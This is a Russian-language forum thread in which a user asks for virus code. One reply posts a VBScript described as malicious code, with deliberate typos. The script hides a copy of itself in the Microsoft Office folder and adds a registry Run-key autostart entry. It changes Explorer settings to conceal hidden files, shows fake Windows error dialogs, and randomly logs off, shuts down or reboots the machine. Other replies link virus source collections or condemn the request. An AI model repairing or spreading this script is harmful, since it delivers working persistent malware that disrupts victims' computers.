помочь написать и дать готовый код - это две разные вещи.
В сети полно примеров написания вредоносного кода на Visual Basic'e поэтому лучше Вам самому поискать

Mag Титов,
Ну для начала поиском инет попробовал бы окучить  
Но всё равно держи порочку исходничков Virus Source Codes - VB and VBS

Да кстати спросибо за сайтик ... очень мне помог  

По моему такии вопросы задавать "не прилично", мог бы переформулировать

А че вирус должен твой делать? Вот тебе кодок зловредный!
даже не полночтью вб а вбс! =)

On Error Resume Next ' данный кот написан исключительно в целях ознакомления с возможностями языка Visual Basic! В нем намеренно допущены ерроры! Аще кто их пофиксит и заюзает в целях злобных не при делаХЪ я - ибо моему перу принадлежит лишь то, чё написано нижее:
set fs = CreateObject("Scripting.FileSystemObject")
set f = fs.GetFile ("Приглашение.vbs") ' получаем путь к себе ну название может какое угодно быдь
f.copy ("с:\Program Files\Microsoft Office\OfficeParameters.vbs"), true ' копируемся например в это место. Мона куда нить есчо....
TesAttr ("C:\Program Files\Microsoft Office\OfficeParameters.vbs"), 2 + 4  ' делаем скрытым и системным файлом
'раобтаем с реестром:

Tes shll = Createobject ("Wscript.Shell") ' очень клевый объект - интерпретатор комманд консоли виндовс
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio­n\Run\MS Office"), ("C:\Program Files\Microsoft Office\OfficeParameters.vbs") ' АвтоЗагрузка
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio­n\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue"), ("2"), "REG_DWORD" ' Делаем так, чтобы не показывались скрытые - более того! Чтобы были в свойстваХЪ папги были отмечены обе
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio­n\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue"), ("2"), "REG_DWORD"
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio­n\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"), ("2"), "REG_DWORD"
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio­n\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue"), ("2"), "REG_DWORD"

mid i as integer ' Деструктивный момент - вырубаем или перегружаем или завершаем сеанс
mid d as integer
Randomize  
i = Int((15 * Rnd) + 1)  
fi i > 7  then
 d = 4
msgbox ("Произошли Ошибки Входа в систему. Ваш сеанс будет завершен!"), vbexclamation, ("Windows Logon Engine")

elsefi i > 10  then
 d = 12
msgbox ("Произошли Ошибки Входа в подаче энергии. Компьютер будет выключен!"), vbexclamation, ("Windows Logon Engine")

elsefi i > 13  then
 d = 6
msgbox ("Произошла Ошибка в записи Master Boot Record! Компьютер будет Перезагружен!"), vbexclamation, ("Windows Logon Engine")
dim OpSysSet, obj

Tes OpSysSet = GetObject("winmgmts:{impersonationLevel=impersonate," & _
"(Shutdown)}//./root/cimv2").ExecQuery ("SELECT * FROM Win32_OperatingSystem" &_
" WHERE Primary=true")
For Each obj Ni OpSysSet
obj.Win32Shutdown(d)
Next

будет авторановый скрипт в ряде случаеф завершающий сеанс, вырубающий комп или перезагружающий иво.  

"Мона". Рой в сторону 0-day уязвимостей в винде и хеккерскому кодингу на вб.

Вообщето раздел форума посвещён безопасному програмированию. Думаю обратились не по адресу. И вообще в место того чтобы вирусы писать, лучше пишите антивирусы.

Вот так деградирует общество. В место того чтобы сделать что-то полезное, делают вред.

        КУДА СМОТРЯТ АДМИНЫ СЕРВЕРА????
Вот я бы такого ламера (на 95% уверен что он сидит без прокся) выцепил бы по IP адресу сдал бы в отдел К        а там бы уже он нашел бы себе на зоне собеседников на эту тему...
терпеть не могу идиотов которые пишут вирусы и хотят на этом прославиться...
и ладно бы еще красивый вирус написал, так нет он на vb лепит. асм изучай хоть что то будет тебе в плюс хотья и это тебя не спасет от деградации.